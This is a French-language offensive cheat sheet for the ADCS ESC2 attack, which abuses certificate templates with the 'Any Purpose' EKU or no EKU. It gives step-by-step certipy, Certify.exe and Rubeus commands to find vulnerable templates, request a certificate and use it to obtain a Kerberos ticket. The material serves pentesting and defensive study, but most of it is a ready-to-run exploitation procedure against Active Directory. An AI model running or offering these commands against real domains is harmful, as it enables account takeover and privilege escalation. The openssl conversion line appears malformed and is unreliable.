### Description
ESC2 exploite des modèles de certificats configurés avec l'Extended Key Usage (EKU) "Any Purpose" ou sans EKU défini, permettant d'utiliser le certificat pour n'importe quel usage, y compris l'authentification.
### Conditions vulnérables
Un modèle de certificat est vulnérable à ESC2 si :
1. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll`
2. **EKU Any Purpose ou aucun EKU** - Une des conditions suivantes :
- Le modèle a l'EKU `Any Purpose` (OID: 2.5.29.37.0)
- Le modèle n'a aucun EKU défini
3. **Pas de signatures requises** - `CT_FLAG_PEND_ALL_REQUESTS` n'est pas activé
---
### Exploitation depuis linux (certipy)
Enumération des templates vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique des modèles Any Purpose
certipy find -u
[email protected] -p password -target dc01.domain.local | grep -i "any purpose\|no eku"
```
Faire la demande de certificat :
```bash
# Demande d'un certificat avec modèle Any Purpose
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'AnyPurposeTemplate'
```
Authentification avec le certificat reçu :
```bash
# Utilisation du certificat pour l'authentification client
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10
# Avec un mot de passe pour le certificat
certipy auth -pfx user.pfx -password cert_password -username user -domain domain.local -dc-ip 192.168.1.10
```
---
### Exploitation depuis windows (certify.exe)
Enumération des templates vulnérables :
```powershell
# Énumération des modèles vulnérables
Certify.exe find /vulnerable
# Filtrage spécifique ESC2
Certify.exe find /vulnerable | findstr "Any Purpose"
```
Faire la demande de certificat :
```powershell
# Demande d'un certificat avec le modèle vulnérable
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:AnyPurposeTemplate
```
Authentification avec le certificat reçu :
```powershell
# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Authentification avec le certificat
Rubeus.exe asktgt /user:currentuser /certificate:cert.pfx /password:password123 /ptt
```